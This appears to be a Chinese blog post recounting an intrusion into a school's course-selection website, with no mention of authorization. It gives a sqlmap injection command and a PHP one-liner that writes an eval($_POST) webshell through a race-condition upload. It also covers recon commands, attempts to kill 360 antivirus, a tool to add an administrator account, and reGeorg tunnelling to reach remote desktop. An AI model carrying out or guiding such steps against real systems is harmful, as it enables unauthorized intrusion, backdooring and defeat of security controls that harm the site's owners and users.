您当前的位置:首页 > 计算机 > 安全防护

记一次简单的渗透测试

时间:08-18来源:Kali-Ma作者:点击数:

前言

之前对渗透这方面的学习一直只是学到了Getshell为止,但是其实渗透可以说Getshell仅仅是一个开端,接下去的还有远程连接,域渗透等领域,这次刚好渗透到了某网站,决定以该网站为例,看看能不能进行一次相对完整的渗透历程

SQL注入

该网站是某校某选课网站,首先先用扫描器扫描一下网站,运气很好,居然扫出了一个注入,一看,原来是个宽字节注入

简单测了一下,发现并没有什么过滤,那就常规操作,用SQLmap跑一下

python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes

接下来便是爆库,爆表,爆列,爆值等常规操作。获取Admin表中的账号密码,虽说密码是md5加密的了,但是去cmd5平台上一查,还是很方便的进入了后台

Getshell

接下来便是寻求Getshell的机会了

注意到这里有个上传文件的地方,从源码中可以看到是Fckeditor编辑器从网上搜索相关的漏洞,首先先查看版本

发现是2.6.6版本的,遗憾的是只能找到2.6.6asp版本的洞,PHP版本的并不能找到相关的漏洞,而用了几个EXP去试试运气也都碰壁了,渗透本来到此就受阻但是突然发现还有一个上传学生名单的接口

测试了一下,只有一个简单的前端认证,并且用burpsuite一看,还有了惊喜的发现

文件不仅上传成功了,并且还返回了相应的路径,当下便想到来连shell了,但当我想来连之时,却发现文件被删了,由文件路径里面有个temp,一下子就想到后端肯定写了一个自动清空temp目录的函数,但是解决思路也是很明确的,就是条件竞争嘛,通过多线程发包的方法,来实现一定时间内的文件访问这里我将要发包的文件改为:

<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>

只要我们能访问到它一次,这个程序就会自动在父目录里面写入一个shell,也就实现了跳出temp目录的写shell了。用burpsuite的intruder模块不断发包,再访问我们上传的文件,便实现了成功写shell的目的,如图,Getshell:

系统信息搜集

systeminfo查看系统相关信息

netstat -ano查看开放的端口

可以看到3389端口是打开的,也就是可以进行远程连接whoami查看当前用户

远程连接

可以看到是system权限,本来我以为大功告成,接下来就是创建管理员用户,进行远程连接之时,但是发现无论如何都无法把用户添加进管理员组在网上查了很多资料,有人说是可能有杀毒软件。tasklist一看,果然有360那么问题到这里就只有三条路了:1. 杀掉360,看看能不能利用system的高权限杀掉3602. 得到其他管理员账户的密码或者密码的hash值,利用其他管理员的账户进行登录2. 绕过360创建一个管理员账号

我对这三种情况都进行了尝试:

  • 方法1:我尝试利用taskkill来杀掉360的进程,但是始终报错,网上的资料五花八门,有的说system权限可以用taskkill来关闭360,也有的说360的主动防御进程(ZhuDongFangYu.exe)是在系统Ring0层,即使system权限也无法用taskkill来关掉,至少在这次渗透中,我渗透的机器,是没办法直接用taskkill来关掉360进程的,包括网上所讲的sc delete方法在这台机子上也是行不通的(会被拦截),至少现在看起来这条路堵死了

  • 方法2:当我上传Quarks PwDump.exe和各种软件时,无一例外都会被360拦截,看起来这条路也堵死了

  • 方法3:方法3就是我们最后的希望了,从网上看到资料说system权限下可以用Windows API的方法来创建管理员账户,而这种方法360不会拦截,具体可以参见这篇文章:[【编程】创建用户,并添加至管理组]但是比较蛋疼的一点是我电脑没有VS,编译不了这个文件,而宿友也都没有一个人安装的(毕竟他实在是太大了)好在我在github上找到了一个别人编译好的版本https://github.com/cckuailong/netuser运行了一下,成功添加用户

    那么就只剩最后一步了,进行远程连接,但是当我想直接连接的时候,发现居然连不上,用nmap扫了一下端口,发现3389没有开启,但是上面的netstat -ano显示3389是有开启的,那就只能说明3389端口是开在内网的,我们得进行一下内网穿透,把流量转发出来,使用reGeorg进行内网穿透。

将tunnel.nosocket.php上传至web目录(这里不能上传tunnel.php,php<5.3不能正常使用tunnel.php)访问目标文件:

说明配置正常最后,我们就能成功的使用远程连接了,上了远程连接后,首先退出360所有防护,为接下来的进一步渗透做准备

这次的渗透就先到这里,接下来的域渗透,就等以后有时间再来学习和钻研了。

写在后面

这是我第一次进行后Getshell的渗透,写的可能很啰嗦并且很LOW,但是主要目的还是想让我自己记住这一此渗透学习到的知识,等以后有时间了再来继续进行下一步的域渗透

渗透学习书籍

渗透学习视频

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门